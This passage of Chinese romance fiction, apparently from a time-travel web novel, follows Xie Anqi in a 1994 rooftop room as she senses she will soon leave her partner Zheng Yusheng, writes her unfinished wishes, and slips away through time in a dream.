    第二块屏幕上，是一排便利店的货架。画面定格在一个女孩拿起牛奶，转身笑着问身后的人：“你要这个还是香蕉味的？”


    她继续走，屏幕越看越熟悉。每一帧画面都像是她自己经历过的事，却又不确定是不是那一条线的事。


    第三面屏幕，她看到一段街头雨夜的画面。男主角躲在屋檐下，身上湿透，镜头从下往上推，推到他抬头那一刻，那双眼睛，熟悉得让她瞬间胸口一紧。


    谢安琪忽然意识到，自己正站在一个有关他的回顾展中，而自己是唯一的观众。


    她醒来时，天还没亮，屋里安静得只能听见钟表的指针声。郑禹胜睡在她身边，呼吸平稳，眉间有一丝微蹙，像是梦中有什么未解的结。


    谢安琪侧过身，睁着眼看他，忽然有点想哭。


    她轻轻抬手，摸了摸他的额角。他没有动，只是翻了个身，把手臂搭在她腰侧，谢安琪闭眼，试图让自己重新入睡。但梦里那个展厅的光影还残留在脑后，一眨眼，就能看到某一面屏幕上郑禹胜模糊的脸。


    她忽然感到一种奇怪的失重感，像某种力量正在悄悄往外拽她，把她从这个时间点一点一点地拉回去。谢安琪不敢动，也不敢再去想“如果醒来就不在了”的可能性。


    第二天上午，郑禹胜去拍戏，离开前他蹲下身帮她系鞋带，一边说：“今天早点吃午饭，不要老拖着。”


    “知道了。”她回答，语气如常，但眼神有点发散，他注意到了，轻轻点她额头：“别胡思乱想。”


    “我没。”她撒谎，郑禹胜叹了口气，伸手把她额前发丝拨开，认真看她：“如果有什么要跟我说的，就说。”


    “好。”她点头，心里却想，你不会真的想听我说我快要被拉走了吧？


    她把笑容收敛在嘴角，在门口目送他离开，直到他拐进街口，看不见了，她才转身进屋，那天的阳光很亮，房间像被洗净了一样清澈。她坐在窗边，一口一口吃他留下的粥，喝了一杯他泡好的茶，然后打开那本本子。


    她没有写今天过得怎样，而是写了一句她不敢当面对他说的话：“如果我真的消失，希望你不要在那个未来太快认出我。”


    下午她去了图书馆，她坐在窗边看书，耳边是其他学生翻页的声音。她不太能集中注意力，眼前的文字开始模糊，像隔着两层玻璃读书，突然有人在她身边坐下，是广播社的裴真善。


    “你今天看起来不太对劲。”她说。


    谢安琪愣了愣，掩饰道：“昨晚没睡好。”


    “梦见不开心的事？”


    “梦见了……展览。”


    “什么展览？”


    “一个跟未来有关的展览。”


    “好复杂。”对方笑，“你是不是太想未来了？活在现在就好了。”


    谢安琪盯着她看了一会儿，低声说：“我有时候也想这样。”


    两人坐了一会儿。窗外的光透进来，落在桌边。谢安琪轻轻叹了口气，把书合上。


    “你有喜欢的人吗？”她忽然问。


    “有啊。”


    “你有没有那种想法，你不确定他记不记得你，你也不知道你能不能一直在他身边。”


    裴真善沉默了一下，说：“如果是我，就把该说的都说出来，剩下的就交给命。”


    谢安琪点头，却没再说什么，她明白那是这个时间的逻辑。但她来自另一个维度，很多东西都不能用现在的法则计算。


    晚上回家，她照旧做饭、洗衣、擦桌。她在试图告诉身体：“我还在，我还可以做事，我还可以留下。”


    饭后她把郑禹胜送的T恤洗净晾好，又去书架翻出那张照片，他们在照相馆拍的那张，笑容都不完美，却显得真实。她盯着照片看了很久，心里轻轻地说了一句：


    “如果我真的又要离开了，就请记住我留在你这里的一切。”


    郑禹胜回家时，她已经坐在窗边靠着枕头睡着了。他放轻脚步走近，看到她脸色有点白，嘴唇也没什么血色，像是发过一场梦还没完全醒。他低下头亲了亲她的额头，蹲下身，轻声说：“谢安琪，如果你真的走了，我就再去追你一次。”


    谢安琪醒得比平常早，窗帘半掀，晨光照进来，落在她手臂上，她盯着窗框外刚刚开始变亮的天色，突然觉得身体有点轻。一种很难解释的虚浮感，倒也不像是疲惫，更多是体内的重力正在减弱，而她的灵魂，已经悄悄离开了实际的骨骼结构。


    她没有告诉郑禹胜，最近三天来她早上醒来时，总觉得身体有点陌生，她看着自己掌心的纹路，轻轻闭了闭眼。


    “我还在。”她对自己说，“今天还可以活在这里。”


    她没出门，而是在屋塔房里做了清理，谢安琪把那盆薄荷换了新盆，把墙边贴着的老明信片重新对齐，又把屋顶的缝隙用报纸临时糊住。风吹的时候，那些纸张发出窸窸窣窣的声音，像一段沉睡中的咒语，谢安琪站在那里，只是呆呆的看着，根本不知道她在想什么。


    郑禹胜发来一条短信：【中午有点晚回来，别饿着。】


    谢安琪没回，她只是坐在门边的木椅上，看着手机静静亮着、又暗下去，最近的时间虽然还在流动，但是谢安琪总觉得像是时间的暂停期一样，什么时候被召唤，什么时候开始穿越都不确定，这种没有任何动静的状态，其实最危险。


    谢安琪心里翻着无数次未来郑禹胜和她的重逢，但没有一条线里，有清楚记得1994年春天屋塔房的谢安琪是怎么消失的，当然，她现在只是在体验者，怎么可能预知到还没有到来的事情呢？或许这意味着，或许她从未留下过告别的线索。


    晚上，郑禹胜回来时带了花，是一束路边买的小雏菊，他说：“本来想买大一点的，但我记得你说你不喜欢太用力的花。”


    谢安琪愣了几秒，然后笑了。


    “你是怎么记得我说过的？”


    他耸耸肩，把花插进玻璃瓶：“你说你小时候看过的漫画里，女主每次想表白就送雏菊。”


    “……你真的记住啊？”


    “我记住你说的所有无用细节。”


    谢安琪接过瓶子，看着花朵在灯光下泛出浅黄的光圈，她忽然意识到，这样的生活细节，这样的记得你所有的碎话，才是最让她舍不得离开的原因。


    爱情是一种无法抽离的情绪，也是每一个细微的念想都被收集。一旦离开，就像从某个归档完整的系统中，删掉一整个用户的记录。


    深夜，她没能入睡，她一遍遍翻着那本写了近半页的愿望本。


    她把那些想一起做的事一条条重新描黑，然后在未完成旁边画了个小星星。


    她写下：“拍第二张合照。”


    又写：“一起搭公交车出城旅行。”


    又写：“让我对你大声说一遍我爱你。”


    字写得一笔一画，像是刻下去的一样，谢安琪靠着床坐着，听窗外风吹动晾衣绳的声音，耳边的每一声响都像一个计时器滴答走着。她知道自己该睡了，系统的切换总在睡梦中完成，但她不愿闭眼。


    谢安琪怕一闭眼，就不在了，她想再看他一眼，就一眼，她终究还是睡着了。在那一刻来临前，她悄悄把本子放在了床头抽屉最底层，她不想让下一次来到这里的自己，看见那些未完成的计划。


    这一次的谢安琪，想给自己一个隐形结尾，她不想告别，不想泪水，不想告白。只想像日常那样，把窗户关好，把水杯洗净，把照片放正，灯光调暗，然后在一个普通夜晚，离开这个她最熟悉的、也是最短暂拥有的时间点。


    谢安琪闭眼前的最后一句话，是在心里对郑禹胜说：“如果你醒来发现我不在，请不要来找我。请你等我，再来一次。”


    风吹过窗沿，夜幕深沉，屋塔房的一切如旧，而谢安琪，睡着了。


    夜色彻底沉下时，郑禹胜还未睡，他不知道为什么，明明今天拍摄很累，回屋塔房的路又冷又湿，但回到屋里看到谢安琪睡着的样子，心却一下子静不下来。


    他躺在她身边，侧身看着她的轮廓，谢安琪睡得极安静，没有任何动静，他盯着她的眉骨、鼻梁、唇线，目光慢慢落到她那只微微搭在被子外的手，那只手指比平常凉了一点。


    他凑过去握住她的手，轻轻摩挲几下，她没有反应，他忽然有些心慌，心底像有某根绷得紧的弦，在雨后静夜里被无声拉开。


    “你是不是太累了？”他低声说。


    谢安琪没有回答，他靠近她的额头，轻轻碰了碰。


    “我会在的。”他说，“你醒来还是会看到我。”


    这一句话，他没有多想，只是本能地说出口，说完他便闭上眼，试图说服自己进入梦里，但脑海中却总有一个模糊的画面在浮现：她在早晨的光里轻声对他说再见，然后消失在人群里，再也找不到。


    那画面并没有发生过。但不知为何，他就是无法挥去，郑禹胜翻身抱住她，像要把她紧紧留在这一秒钟的时间带里。


    外面风吹过玻璃，咯咯作响。


    清晨四点左右，城市还在睡，屋塔房静默如水，郑禹胜终于沉沉睡去，谢安琪身体没有动，但指尖在那一刻，几乎不可察觉地轻微抖动了一下。


    她在梦里，梦见自己站在一条空旷的隧道前，风从远处呼啸而来。她知道那不是风，而是时间的倒卷，她在风中站了一会儿，最后伸手抚了一下胸口的项链，她说了一句只有风能听到的话：“对不起，但我真的想过要留下来。”


    然后，她迈出脚步，朝那条隧道的深处走去，城市的夜静静闭合，而一个人，悄无声息地，再次穿越。